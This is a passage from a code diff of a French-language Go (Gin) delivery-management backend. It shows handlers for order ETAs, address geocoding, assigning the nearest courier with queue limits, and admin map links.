c.JSON(http.StatusUnauthorized, gin.H{
"success": false,
"error": "Utilisateur non authentifié",
})
return
}
// 2️⃣ RÉCUPÉRER L'ID DE LA COMMANDE
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
log.Printf("❌ [ETA] ID invalide: %v", err)
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"error": "ID de commande invalide",
})
return
}
log.Printf("📊 [ETA] START - commandID=%d, username=%s", commandID, username.(string))
// 3️⃣ RÉCUPÉRER LA COMMANDE
command, err := database.GetCommandByID(commandID)
if err != nil {
log.Printf("❌ [ETA] Commande %d non trouvée", commandID)
c.JSON(http.StatusNotFound, gin.H{
"success": false,
"error": "Commande non trouvée",
})
return
}
// 4️⃣ VÉRIFIER LES DROITS D'ACCÈS
cmdUsername, _ := command["username"].(string)
userRole := c.GetString("role")
if userRole != "admin" {
if userRole == "client" && cmdUsername != username.(string) {
log.Printf("❌ [ETA] Accès refusé - commande appartient à %s", cmdUsername)
c.JSON(http.StatusForbidden, gin.H{
"success": false,
"error": "Vous n'avez pas accès à cette commande",
})
return
}
if userRole == "livreur" {
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign != username.(string) {
log.Printf("❌ [ETA] Accès refusé - livreur non assigné")
c.JSON(http.StatusForbidden, gin.H{
"success": false,
"error": "Vous n'avez pas accès à cette commande",
})
return
}
}
}
// 5️⃣ VÉRIFIER LE STATUT DE LA COMMANDE
cmdStatus, _ := command["status"].(string)
// ✅ CORRECTION: Vérifier si commande terminée
if cmdStatus == "livre" || cmdStatus == "delivered" || cmdStatus == "approved" {
log.Printf("️ [ETA] Commande déjà %s - pas d'ETA applicable", cmdStatus)
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"status": cmdStatus,
"message": "La commande a déjà été livrée",
"eta_available": false,
"estimated_arrival": "Livraison complétée",
})
return
}
// ✅ CORRECTION CRITIQUE: Vérifier si le livreur a démarré
if cmdStatus != "en_route" && cmdStatus != "arrived" {
log.Printf("⏳ [ETA] Commande en statut '%s' - ETA pas encore disponible", cmdStatus)
livreurAssign, _ := command["livreur_assign"].(string)
var livreurInfo string
if livreurAssign != "" {
livreurInfo = fmt.Sprintf("Livreur %s assigné", livreurAssign)
} else {
livreurInfo = "En attente d'assignation"
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"status": cmdStatus,
"message": "Le livreur n'a pas encore démarré la livraison",
"eta_available": false,
"info": livreurInfo,
})
return
}
// 6️⃣ VÉRIFIER LE CACHE REDIS POUR ETA
etaKey := fmt.Sprintf("command:eta:%d", commandID)
etaData, err := db.Redis.HGetAll(db.RedisCtx, etaKey).Result()
if err == nil && len(etaData) > 0 {
// ETA existe, vérifier s'il est récent
if updatedAtStr, ok := etaData["updated_at"]; ok {
var updatedAt int64
fmt.Sscanf(updatedAtStr, "%d", &updatedAt)
timeSinceUpdate := time.Since(time.Unix(updatedAt, 0))
if timeSinceUpdate < 2*time.Minute {
// Cache valide
var etaMinutes int64
if etaStr, ok := etaData["eta_minutes"]; ok {
fmt.Sscanf(etaStr, "%d", &etaMinutes)
}
var arrivalTime int64
if arrivalStr, ok := etaData["arrival_time"]; ok {
fmt.Sscanf(arrivalStr, "%d", &arrivalTime)
}
log.Printf("✅ [ETA] Cache hit - ETA: %d min", etaMinutes)
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"status": cmdStatus,
"eta_minutes": etaMinutes,
"estimated_arrival": time.Unix(arrivalTime, 0).Format("15:04"),
"eta_available": true,
"with_traffic": true,
"livreur_assign": command["livreur_assign"],
"delivery_address": command["adresse"],
})
return
}
}
}
// 7️⃣ Pas de cache valide - Recalculer l'ETA
log.Printf("🔄 [ETA] Cache miss ou expiré - Recalcul de l'ETA...")
// Récupérer coordonnées destination
var destLat, destLon float64
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
destData, err := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
if err == nil && destData != "" {
var coords struct {
Lat float64 `json:"lat"`
Lon float64 `json:"lon"`
}
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
destLat = coords.Lat
destLon = coords.Lon
log.Printf("📍 Destination depuis cache Redis: (%.6f, %.6f)", destLat, destLon)
}
}
if destLat == 0 || destLon == 0 {
if dLat, okLat := command["dest_latitude"].(float64); okLat && dLat != 0 {
destLat = dLat
}
if dLon, okLon := command["dest_longitude"].(float64); okLon && dLon != 0 {
destLon = dLon
}
}
if destLat == 0 || destLon == 0 {
log.Printf("❌ [ETA] Coordonnées destination manquantes")
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"error": "Coordonnées de destination manquantes",
})
return
}
// Récupérer position du livreur
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign == "" {
log.Printf("⚠️ [ETA] Aucun livreur assigné")
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"error": "Aucun livreur assigné à cette commande",
})
return
}
livreurLocation, err := geoService.GetDeliveryPersonLocation(livreurAssign)
if err != nil {
log.Printf("❌ [ETA] Position livreur introuvable: %s", livreurAssign)
c.JSON(http.StatusNotFound, gin.H{
"success": false,
"error": "Position du livreur non disponible",
})
return
}
toCoords := services.Coordinates{Latitude: destLat, Longitude: destLon}
// Calculer ETA avec TomTom
log.Printf("🛣️ [ETA] Calcul TomTom: (%.6f, %.6f) -> (%.6f, %.6f)",
livreurLocation.Latitude, livreurLocation.Longitude, toCoords.Latitude, toCoords.Longitude)
etaMinutes, distanceKm, err := services.GetETAWithTraffic(*livreurLocation, toCoords)
if err != nil {
log.Printf("⚠️ [ETA] TomTom failed, fallback local: %v", err)
distanceKm = services.CalculateDistance(*livreurLocation, toCoords)
etaMinutes = services.CalculateETA(distanceKm)
}
// Sauvegarder en cache
now := time.Now()
arrivalTime := now.Add(time.Duration(etaMinutes) * time.Minute)
etaCache := map[string]interface{}{
"command_id": commandID,
"eta_minutes": etaMinutes,
"updated_at": now.Unix(),
"arrival_time": arrivalTime.Unix(),
"distance_km": distanceKm,
"with_traffic": err == nil,
}
db.Redis.HSet(db.RedisCtx, etaKey, etaCache)
db.Redis.Expire(db.RedisCtx, etaKey, 4*time.Hour)
log.Printf("✅ [ETA] SUCCESS - ETA: %d min, arrivée: %s", etaMinutes, arrivalTime.Format("15:04"))
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"status": cmdStatus,
"eta_minutes": etaMinutes,
"distance_km": fmt.Sprintf("%.2f", distanceKm),
"estimated_arrival": arrivalTime.Format("15:04"),
"eta_available": true,
"with_traffic": err == nil,
"livreur_assign": livreurAssign,
"delivery_address": command["adresse"],
})
}
+900
View File
@@ -0,0 +1,900 @@
// ============================================
// handlers/geo_handlers.go - VERSION CORRIGÉE COMPLÈTE
// ============================================
package handlers
import (
"encoding/json"
"fmt"
"gestion/db"
"gestion/services"
"log"
"net/http"
"strconv"
"time"
"github.com/gin-gonic/gin"
)
// ============================================
// GÉOCODAGE D'ADRESSES
// ============================================
// GeocodeAddress convertit une adresse en coordonnées GPS
// POST /api/v1/geocode
// Body: {"address": "1600 Amphitheatre Parkway, Mountain View, CA"}
func GeocodeAddress(c *gin.Context) {
geoService := c.MustGet("geoService").(*services.GeoService)
var req struct {
Address string `json:"address" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Adresse requise",
"details": err.Error(),
})
return
}
location, err := geoService.GeocodeAddress(req.Address)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Impossible de géocoder cette adresse",
"details": err.Error(),
})
return
}
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)",
req.Address, location.Latitude, location.Longitude)
c.JSON(http.StatusOK, gin.H{
"success": true,
"latitude": location.Latitude,
"longitude": location.Longitude,
"display_name": location.DisplayName,
})
}
// ============================================
// RECHERCHE DU LIVREUR LE PLUS PROCHE
// ============================================
// FindNearestDeliveryPerson trouve le livreur le plus proche d'une adresse
func FindNearestDeliveryPerson(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
geoService := c.MustGet("geoService").(*services.GeoService)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
var req struct {
Address string `json:"address"`
Latitude float64 `json:"latitude"`
Longitude float64 `json:"longitude"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données invalides",
"details": err.Error(),
})
return
}
var targetCoords services.Coordinates
// Si adresse fournie, la géocoder
if req.Address != "" {
location, err := geoService.GeocodeAddress(req.Address)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Impossible de géocoder l'adresse",
"details": err.Error(),
})
return
}
targetCoords.Latitude = location.Latitude
targetCoords.Longitude = location.Longitude
} else if req.Latitude != 0 && req.Longitude != 0 {
// Sinon utiliser les coordonnées fournies
targetCoords.Latitude = req.Latitude
targetCoords.Longitude = req.Longitude
} else {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Fournir soit une adresse, soit des coordonnées GPS",
})
return
}
// Valider les coordonnées
if err := services.ValidateCoordinates(targetCoords); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Coordonnées invalides",
"details": err.Error(),
})
return
}
// Récupérer les livreurs disponibles
availableLivreurs, err := database.GetAvailableDeliveryPersonsRedis()
if err != nil || len(availableLivreurs) == 0 {
c.JSON(http.StatusNotFound, gin.H{
"error": "Aucun livreur disponible",
})
return
}
// Extraire les usernames
usernames := make([]string, len(availableLivreurs))
for i, livreur := range availableLivreurs {
usernames[i] = livreur.Username
}
// Trouver le plus proche (calcul rapide avec Haversine)
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Aucun livreur avec position GPS valide",
"details": err.Error(),
})
return
}
// Recalculer l'ETA du plus proche avec TomTom pour plus de précision
etaWithTraffic, distanceReal, err := services.GetETAWithTraffic(nearest.Location, targetCoords)
if err == nil {
nearest.EstimatedTime = etaWithTraffic
nearest.Distance = distanceReal
log.Printf("✅ Livreur le plus proche: %s (%.2f km, ~%d min avec trafic)",
nearest.Username, nearest.Distance, nearest.EstimatedTime)
} else {
log.Printf("✅ Livreur le plus proche: %s (%.2f km, ~%d min sans trafic)",
nearest.Username, nearest.Distance, nearest.EstimatedTime)
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"target": gin.H{
"latitude": targetCoords.Latitude,
"longitude": targetCoords.Longitude,
},
"nearest_delivery_person": gin.H{
"username": nearest.Username,
"latitude": nearest.Location.Latitude,
"longitude": nearest.Location.Longitude,
"distance_km": nearest.Distance,
"eta_minutes": nearest.EstimatedTime,
"traffic_aware": err == nil,
},
})
}
// ============================================
// LISTE TOUS LES LIVREURS TRIÉS PAR DISTANCE
// ============================================
// GetAllDeliveryDistances retourne tous les livreurs triés par distance
// POST /api/v2/admin/protected/delivery/distances
// Body: {"address": "123 Main St"} ou {"latitude": 48.8566, "longitude": 2.3522}
func GetAllDeliveryDistances(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
geoService := c.MustGet("geoService").(*services.GeoService)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
var req struct {
Address string `json:"address"`
Latitude float64 `json:"latitude"`
Longitude float64 `json:"longitude"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données invalides",
"details": err.Error(),
})
return
}
var targetCoords services.Coordinates
if req.Address != "" {
location, err := geoService.GeocodeAddress(req.Address)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Impossible de géocoder l'adresse",
"details": err.Error(),
})
return
}
targetCoords.Latitude = location.Latitude
targetCoords.Longitude = location.Longitude
} else if req.Latitude != 0 && req.Longitude != 0 {
targetCoords.Latitude = req.Latitude
targetCoords.Longitude = req.Longitude
} else {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Fournir soit une adresse, soit des coordonnées GPS",
})
return
}
if err := services.ValidateCoordinates(targetCoords); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Coordonnées invalides",
"details": err.Error(),
})
return
}
availableLivreurs, err := database.GetAvailableDeliveryPersonsRedis()
if err != nil || len(availableLivreurs) == 0 {
c.JSON(http.StatusNotFound, gin.H{
"error": "Aucun livreur disponible",
})
return
}
usernames := make([]string, len(availableLivreurs))
for i, livreur := range availableLivreurs {
usernames[i] = livreur.Username
}
distances, err := geoService.GetAllDeliveryDistances(targetCoords, usernames)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur calcul des distances",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"target": gin.H{
"latitude": targetCoords.Latitude,
"longitude": targetCoords.Longitude,
},
"delivery_persons": distances,
"count": len(distances),
})
}
// ============================================
// AUTO-ASSIGNATION INTELLIGENTE AVEC QUEUE MULTI-COMMANDES
// ============================================
func AutoAssignNearestDeliveryPerson(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
geoService := c.MustGet("geoService").(*services.GeoService)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
// Récupérer la commande
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
status, ok := command["status"].(string)
if !ok || (status != "pending" && status != "priority") {
c.JSON(http.StatusBadRequest, gin.H{
"error": "La commande doit être en statut 'pending' ou 'priority'",
"current_status": status,
})
return
}
// Récupérer l'adresse de livraison de la commande
address, ok := command["adresse"].(string)
if !ok || address == "" || address == "Adresse non spécifiée" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cette commande n'a pas d'adresse de livraison valide",
"command_id": commandID,
"message": "L'adresse de livraison doit être définie lors de la création de la commande",
})
return
}
log.Printf("📍 Adresse de livraison: %s", address)
// Géocoder l'adresse
location, err := geoService.GeocodeAddress(address)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Impossible de géocoder l'adresse de livraison",
"address": address,
"details": err.Error(),
})
return
}
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)", address, location.Latitude, location.Longitude)
// ============================================
// 🔹 SAUVEGARDER LES COORDONNÉES DANS LE CACHE REDIS
// ============================================
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
coordsJSON, _ := json.Marshal(map[string]float64{
"lat": location.Latitude,
"lon": location.Longitude,
})
if err := db.Redis.Set(db.RedisCtx, destCacheKey, coordsJSON, 4*time.Hour).Err(); err != nil {
log.Printf("⚠️ Impossible de sauvegarder coordonnées destination: %v", err)
} else {
log.Printf("📍 Coordonnées destination sauvegardées pour commande %d: (%.6f, %.6f)",
commandID, location.Latitude, location.Longitude)
}
targetCoords := services.Coordinates{
Latitude: location.Latitude,
Longitude: location.Longitude,
}
// Compter le nombre de livreurs actifs
activeCount, _ := database.CountActiveDeliverymen()
if activeCount == 0 {
c.JSON(http.StatusNotFound, gin.H{
"error": "Aucun livreur actif (tous sont offline)",
})
return
}
log.Printf("🚗 %d livreur(s) actif(s)", activeCount)
// Récupérer les livreurs actifs avec capacité disponible
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
// Si aucun livreur avec capacité disponible
if err != nil || len(activeLivreurs) == 0 {
// Cas 1: Un seul livreur actif -> pas de limite
if activeCount == 1 {
singleDeliveryman, err := database.GetSingleActiveDeliveryman()
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Impossible de trouver le livreur actif",
})
return
}
// Calculer ETA avec TomTom
travelTime, distance, err := calculateTravelTimeWithTomTom(geoService, singleDeliveryman, location.Latitude, location.Longitude)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur calcul ETA",
"details": err.Error(),
})
return
}
// ✅ Passer les coordonnées à la fonction d'assignation
err = database.AssignCommandToDeliverymanQueueWithCoords(commandID, singleDeliveryman, travelTime, location.Latitude, location.Longitude, address)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de l'assignation",
"details": err.Error(),
})
return
}
database.SetDeliveryPersonStatus(singleDeliveryman, "busy", commandID)
queueInfo, _ := database.GetDeliverymanQueueInfo(singleDeliveryman)
etaData, _ := database.GetCommandETA(commandID)
log.Printf("✅ Commande %d assignée au seul livreur actif %s (%.2f km)", commandID, singleDeliveryman, distance)
// ✅ CORRECTION: Utiliser etaData directement sans accès aux clés
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Commande assignée au seul livreur actif (sans limite)",
"command_id": commandID,
"assigned_to": gin.H{
"username": singleDeliveryman,
"travel_time": travelTime,
"distance_km": distance,
"queue_position": queueInfo["queue_size"],
"single_driver": true,
"traffic_aware": true,
},
"eta": etaData, // ✅ Directement l'objet complet
"delivery_address": address,
"coordinates": gin.H{
"latitude": location.Latitude,
"longitude": location.Longitude,
},
"queue_info": queueInfo,
})
return
}
// Cas 2: Plusieurs livreurs mais tous à capacité max -> Distribution forcée
allAtCapacity, numActive, _ := database.AreAllDeliverymenAtCapacity()
if allAtCapacity && numActive > 1 {
log.Printf("⚠️ Tous les %d livreurs sont à capacité max - Distribution forcée", numActive)
// Trouver le livreur le moins chargé (même s'il dépasse 10)
leastLoaded, currentSize, err := database.GetLeastLoadedDeliverymanForced()
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Impossible de trouver un livreur pour la distribution forcée",
})
return
}
// Calculer le temps de trajet avec TomTom
travelTime, distance, err := calculateTravelTimeWithTomTom(geoService, leastLoaded, location.Latitude, location.Longitude)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur calcul ETA",
"details": err.Error(),
})
return
}
// ✅ Assigner de force avec coordonnées
err = database.ForceAssignCommandToDeliverymanWithCoords(commandID, leastLoaded, travelTime, location.Latitude, location.Longitude, address)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de l'assignation forcée",
"details": err.Error(),
})
return
}
database.SetDeliveryPersonStatus(leastLoaded, "busy", commandID)
queueInfo, _ := database.GetDeliverymanQueueInfo(leastLoaded)
etaData, _ := database.GetCommandETA(commandID)
log.Printf("✅ FORCE: Commande %d assignée à %s (capacité dépassée: %d, %.2f km)", commandID, leastLoaded, currentSize+1, distance)
// ✅ CORRECTION: Utiliser etaData directement
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Commande assignée par distribution forcée (capacité max dépassée)",
"command_id": commandID,
"forced": true,
"assigned_to": gin.H{
"username": leastLoaded,
"travel_time": travelTime,
"distance_km": distance,
"queue_position": currentSize + 1,
"over_capacity": true,
"traffic_aware": true,
},
"eta": etaData, // ✅ Directement l'objet complet
"delivery_address": address,
"coordinates": gin.H{
"latitude": location.Latitude,
"longitude": location.Longitude,
},
"queue_info": queueInfo,
})
return
}
// Cas 3: Erreur générique
c.JSON(http.StatusNotFound, gin.H{
"error": "Aucun livreur actif avec capacité disponible",
"active_count": activeCount,
"max_per_deliveryman": db.MAX_COMMANDS_PER_DELIVERYMAN,
})
return
}
// Cas normal: Au moins un livreur avec capacité disponible
usernames := make([]string, len(activeLivreurs))
for i, livreur := range activeLivreurs {
usernames[i] = livreur.Username
}
// Trouver le livreur le plus proche (calcul rapide)
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Aucun livreur avec position GPS valide",
"details": err.Error(),
})
return
}
// Recalculer l'ETA avec TomTom pour plus de précision
travelTime, distance, err := services.GetETAWithTraffic(nearest.Location, targetCoords)
if err != nil {
// Fallback sur le calcul initial
travelTime = nearest.EstimatedTime
distance = nearest.Distance
log.Printf("⚠️ TomTom indisponible, utilisation du calcul Haversine")
}
log.Printf("🎯 Livreur le plus proche: %s (%.2f km, ~%d min)", nearest.Username, distance, travelTime)
// ✅ Assigner à la queue du livreur avec coordonnées
err = database.AssignCommandToDeliverymanQueueWithCoords(commandID, nearest.Username, travelTime, location.Latitude, location.Longitude, address)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de l'assignation",
"details": err.Error(),
})
return
}
database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
queueInfo, _ := database.GetDeliverymanQueueInfo(nearest.Username)
etaData, _ := database.GetCommandETA(commandID)
log.Printf("✅ Commande %d assignée à la queue de %s", commandID, nearest.Username)
// ✅ CORRECTION: Utiliser etaData directement
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Commande assignée à la queue du livreur",
"command_id": commandID,
"assigned_to": gin.H{
"username": nearest.Username,
"distance_km": distance,
"travel_time": travelTime,
"queue_position": queueInfo["queue_size"],
"single_driver": activeCount == 1,
"traffic_aware": err == nil,
},
"eta": etaData, // ✅ Directement l'objet complet
"delivery_address": address,
"coordinates": gin.H{
"latitude": location.Latitude,
"longitude": location.Longitude,
},
"queue_info": queueInfo,
})
}
// ============================================
// ASSIGNATION EN MASSE (TOUTES LES COMMANDES PENDING)
// ============================================
// AutoAssignAllPendingCommands assigne toutes les commandes en attente
// POST /api/v2/admin/protected/commands/auto-assign-all
func AutoAssignAllPendingCommands(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
geoService := c.MustGet("geoService").(*services.GeoService)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
// Récupérer toutes les commandes pending
commands, err := database.GetAllCommands("pending", "")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération des commandes",
"details": err.Error(),
})
return
}
if len(commands) == 0 {
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Aucune commande en attente",
"assigned": 0,
})
return
}
log.Printf("📋 %d commandes en attente à assigner", len(commands))
var assigned []gin.H
var failed []gin.H
for _, cmd := range commands {
commandID, ok := cmd["id"].(int)
if !ok {
// Essayer avec float64
if idFloat, ok := cmd["id"].(float64); ok {
commandID = int(idFloat)
} else {
continue
}
}
// Récupérer l'adresse
address, ok := cmd["adresse"].(string)
if !ok || address == "" || address == "Adresse non spécifiée" {
failed = append(failed, gin.H{
"command_id": commandID,
"error": "Adresse de livraison manquante",
})
continue
}
// Géocoder l'adresse
location, err := geoService.GeocodeAddress(address)
if err != nil {
failed = append(failed, gin.H{
"command_id": commandID,
"error": fmt.Sprintf("Impossible de géocoder: %s", address),
})
continue
}
targetCoords := services.Coordinates{
Latitude: location.Latitude,
Longitude: location.Longitude,
}
// Récupérer les livreurs actifs
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
if err != nil || len(activeLivreurs) == 0 {
failed = append(failed, gin.H{
"command_id": commandID,
"error": "Aucun livreur disponible",
})
continue
}
usernames := make([]string, len(activeLivreurs))
for i, livreur := range activeLivreurs {
usernames[i] = livreur.Username
}
// Trouver le livreur le plus proche (version rapide pour assignation masse)
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
if err != nil {
failed = append(failed, gin.H{
"command_id": commandID,
"error": "Aucun livreur avec position GPS",
})
continue
}
// Pour l'assignation en masse, on utilise le calcul rapide
travelTime := nearest.EstimatedTime
distance := nearest.Distance
// Assigner à la queue
err = database.AssignCommandToDeliverymanQueue(commandID, nearest.Username, travelTime)
if err != nil {
failed = append(failed, gin.H{
"command_id": commandID,
"error": err.Error(),
})
continue
}
// Mettre à jour le statut du livreur
database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
// Récupérer l'ETA - ✅ CORRECTION: Gérer les types correctement
etaData, _ := database.GetCommandETA(commandID)
var totalETA, waitTime interface{}
totalETA = "N/A"
waitTime = "N/A"
if etaData != nil {
if val, exists := etaData["total_eta_minutes"]; exists {
totalETA = val
}
if val, exists := etaData["wait_time_minutes"]; exists {
waitTime = val
}
}
assigned = append(assigned, gin.H{
"command_id": commandID,
"assigned_to": nearest.Username,
"distance_km": distance,
"total_eta_minutes": totalETA,
"wait_time_minutes": waitTime,
"travel_time": travelTime,
})
log.Printf("✅ Commande %d -> %s (ETA: %v min)", commandID, nearest.Username, totalETA)
}
// Récupérer l'overview des queues
queuesOverview, _ := database.GetAllQueuesOverview()
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": fmt.Sprintf("%d commandes assignées, %d échecs", len(assigned), len(failed)),
"total_pending": len(commands),
"assigned_count": len(assigned),
"failed_count": len(failed),
"assigned": assigned,
"failed": failed,
"queues_overview": queuesOverview,
"note": "ETAs calculés avec Haversine pour rapidité, précision TomTom disponible individuellement",
})
}
// ============================================
// RÉCUPÉRER L'ÉTAT DES QUEUES DES LIVREURS
// ============================================
// GetAllDeliveryQueues retourne l'état de toutes les queues des livreurs
// GET /api/v2/admin/protected/delivery/queues
func GetAllDeliveryQueues(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
overview, err := database.GetAllQueuesOverview()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération des queues",
"details": err.Error(),
})
return
}
// Récupérer les détails de chaque livreur
var deliverymenDetails []gin.H
keys, _ := db.Redis.Keys(db.RedisCtx, "delivery:status:*").Result()
for _, key := range keys {
username := key[len("delivery:status:"):]
queueInfo, _ := database.GetDeliverymanQueueInfo(username)
// Récupérer le statut
statusData, _ := db.Redis.Get(db.RedisCtx, key).Result()
var status map[string]interface{}
if statusData != "" {
json.Unmarshal([]byte(statusData), &status)
}
deliverymenDetails = append(deliverymenDetails, gin.H{
"username": username,
"status": status["status"],
"queue_info": queueInfo,
})
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"overview": overview,
"deliverymen_detail": deliverymenDetails,
})
}
// ============================================
// RÉCUPÉRER LA QUEUE D'UN LIVREUR SPÉCIFIQUE
// ============================================
// GetDeliverymanQueue retourne la queue d'un livreur spécifique
// GET /api/v2/admin/protected/delivery/:username/queue
func GetDeliverymanQueue(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
queueInfo, err := database.GetDeliverymanQueueInfo(username)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération de la queue",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"queue_info": queueInfo,
})
}
// ============================================
// VALIDATION D'ADRESSE
// ============================================
// ValidateAddress vérifie si une adresse peut être géocodée
// POST /api/v1/validate-address
// Body: {"address": "123 Main St, Paris"}
func ValidateAddress(c *gin.Context) {
geoService := c.MustGet("geoService").(*services.GeoService)
var req struct {
Address string `json:"address" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Adresse requise",
"details": err.Error(),
})
return
}
isValid := geoService.IsValidAddress(req.Address)
if !isValid {
c.JSON(http.StatusOK, gin.H{
"valid": false,
"message": "Adresse introuvable ou invalide",
})
return
}
// Récupérer les détails
location, _ := geoService.GeocodeAddress(req.Address)
c.JSON(http.StatusOK, gin.H{
"valid": true,
"message": "Adresse valide",
"latitude": location.Latitude,
"longitude": location.Longitude,
"display_name": location.DisplayName,
})
}
// ============================================
// HELPER FUNCTION - CALCUL ETA AVEC TOMTOM
// ============================================
// calculateTravelTimeWithTomTom calcule l'ETA avec TomTom ou fallback local
func calculateTravelTimeWithTomTom(geoService *services.GeoService, deliverymanUsername string, targetLat, targetLon float64) (int, float64, error) {
// Récupérer position du livreur
deliverymanLoc, err := geoService.GetDeliveryPersonLocation(deliverymanUsername)
if err != nil {
return 0, 0, fmt.Errorf("position du livreur introuvable: %w", err)
}
targetCoords := services.Coordinates{
Latitude: targetLat,
Longitude: targetLon,
}
// Calculer ETA avec TomTom (avec fallback automatique intégré)
travelTime, distance, err := services.GetETAWithTraffic(*deliverymanLoc, targetCoords)
if err != nil {
// Fallback sur calcul local
distance = services.CalculateDistance(*deliverymanLoc, targetCoords)
travelTime = services.CalculateETA(distance)
log.Printf("⚠️ TomTom indisponible pour %s, fallback: %.2f km -> %d min",
deliverymanUsername, distance, travelTime)
} else {
log.Printf("🛣️ TomTom utilisé pour %s: %.2f km -> %d min (trafic réel)",
deliverymanUsername, distance, travelTime)
}
return travelTime, distance, nil
}
+129
View File
@@ -0,0 +1,129 @@
// ============================================
// handlers/gps_handlers.go
// Gestion des liens GPS et visualisation
// ============================================
package handlers
import (
"gestion/db"
"log"
"net/http"
"strconv"
"github.com/gin-gonic/gin"
)
// GetDeliveryPersonMapLinks génère les liens de cartes pour visualiser la position d'un livreur
// GET /api/v2/admin/protected/delivery-persons/:username/map-links
func GetDeliveryPersonMapLinks(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// Vérification du rôle admin
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
log.Printf("🗺️ [MAP_LINKS] Demande pour livreur: %s", username)
// Récupérer la position GPS du livreur
lat, lon, err := database.GetDeliveryPersonLocation(username)
if err != nil {
